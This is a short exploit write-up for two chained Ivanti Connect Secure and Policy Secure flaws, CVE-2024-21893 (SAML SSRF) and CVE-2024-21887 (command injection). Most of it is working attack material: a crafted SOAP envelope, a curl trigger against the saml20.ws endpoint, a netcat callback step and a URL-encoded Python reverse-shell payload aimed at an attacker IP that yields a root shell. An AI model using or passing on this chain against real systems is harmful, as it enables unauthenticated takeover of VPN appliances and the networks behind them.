CVE-2024-21893 / CVE-2024-21887

Vulnerability Overview

CVE-2024-21893 represents a "server-side request forgery vulnerability" in the SAML component enabling unauthorized access to restricted resources.

CVE-2024-21887 is a "command injection vulnerability" allowing authenticated administrators to execute arbitrary commands on the appliance.

These vulnerabilities impact Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and Ivanti Neurons for ZTA. "When used together it allows an unauthenticated user to execute commands on the vulnerable target system."

SSRF Proof of Concept

Create a SOAP envelope (post_data.xml) with a RetrievalMethod URI pointing to an attacker-controlled machine:

N/AXML

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://192.168.86.35:4488/exploit.se"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>

Trigger via cURL:

N/ABASH

curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws

Capture the callback with netcat to confirm SSRF execution.

Chaining for Remote Code Execution

The /api/v1/license/keys-status endpoint contains a command injection flaw accessible via HTTP GET. This service listens on localhost port 8090 without front-end authentication checks.

Leverage SSRF to access the local endpoint with a URL-encoded Python reverse shell payload:

N/AHTTP

http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4488%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

Update the SOAP envelope's RetrievalMethod URI with this payload and execute the same cURL request. This triggers both vulnerabilities in sequence, resulting in a root-level reverse shell on the target appliance.